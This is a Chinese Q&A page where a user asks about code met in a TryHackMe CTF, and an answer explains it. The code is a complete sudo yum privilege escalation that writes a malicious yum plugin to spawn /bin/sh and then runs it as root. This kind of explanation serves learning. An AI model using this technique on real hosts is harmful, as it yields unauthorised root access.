微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

百胜特权升级

如何解决百胜特权升级

我在tryhackme上执行一些ctf时发现了这段代码。我不明白。有人可以解释一下到底是什么吗?

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit,TYPE_CORE,TYPE_INteraCTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y

解决方法

当然,这种提权技术显然是利用用户权限将yum作为sudo运行。

TF=$(mktemp -d) 创建一个临时目录。

之后,在临时目录中创建了三个文件(可通过 $TF 访问),将内容“分类”到其中。

要可视化这一点,您可以在 bash shell 中运行以下命令(当然没有前导 >):

> touch test

> cat >test<<EOF 
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

> cat test

这将打印出名为 test 的文件中刚刚“catted”的内容。

最后一步:sudo yum -c $TF/x --enableplugin=y 简单地执行一个常规的 yum 命令,利用上面提到的刚刚创建的文件。负载 def init_hook(conduit): os.execl('/bin/sh','/bin/sh') 然后将被执行,因为您使用 sudo 执行它,因此您将获得一个以 root 身份的 shell。

我希望这会有所帮助。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。